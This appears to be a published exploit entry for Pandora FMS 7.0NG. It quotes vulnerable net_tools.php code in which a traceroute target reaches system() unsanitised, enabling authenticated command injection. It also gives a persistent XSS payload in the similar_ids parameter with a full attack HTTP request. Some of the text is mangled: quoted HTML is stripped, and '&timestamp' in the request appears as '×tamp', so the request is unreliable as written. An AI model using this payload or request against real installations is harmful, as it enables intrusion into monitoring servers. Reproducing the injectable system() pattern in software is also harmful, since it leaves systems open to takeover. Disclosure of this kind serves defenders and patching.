# Exploit Title: Pandora FMS 7.0NG - 'net_tools.php' Remote Code Execution # Build: PC170324 - MR 0 # Date: 2020-03-30 # Exploit Author: Basim Alabdullah # Vendor homepage: http://pandorafms.org/ # Version: 7.0 # Software link: https://pandorafms.org/features/free-download-monitoring-software/ # Tested on: CentOS # # Authenticated Remote Code Execution # # Vulnerable file: extension/net_tools.php # Vulnerable Code: # # $traceroute = whereis_the_command ('traceroute'); # if (empty($traceroute)) { # ui_print_error_message(__('Traceroute executable does not exist.')); # } # else { # echo "

".__("Traceroute to "). $ip. "

"; # echo "
";
#	   ---->	echo system ("$traceroute $ip");
#				echo "
"; # # # # Persistent Cross-Site Scripting. # The value of the similar_ids request parameter is copied into the value of an HTML tag attribute which is an event handler and is encapsulated in double quotation marks. The payload 23859';document.location=1//981xgeu3m was submitted in the similar_ids parameter. This input was echoed as 23859';document.location=1//981xgeu3m in the application's response. # # GET /pandora_console/ajax.php?page=include%2Fajax%2Fevents&get_extended_event=1&group_rep=1&event_rep=1&dialog_page=general&similar_ids=2123859'%3bdocument.location%3d1%2f%2f981xgeu3m×tamp_first=1585865889×tamp_last=1585865889&user_comment=&event_id=21&server_id=0&meta=0&childrens_ids=%5B0%2C12%2C8%2C4%2C9%2C2%2C10%2C13%2C11%5D&history=0 # HTTP/1.1 # Host: pandorafms.host # User-Agent: Mozilla/5.0 (X11; Linux i686; rv:68.0) Gecko/20100101 Firefox/68.0 # Accept: text/html, */*; q=0.01 # Accept-Language: en-US,en;q=0.5 # Accept-Encoding: gzip, deflate # Referer: http://pandorafms.host/pandora_console/index.php?sec=eventos&sec2=operation/events/events # X-Requested-With: XMLHttpRequest # Connection: close # Cookie: clippy_is_annoying=1; PHPSESSID=tn2pdl4p1qiq4bta26psj0mcj1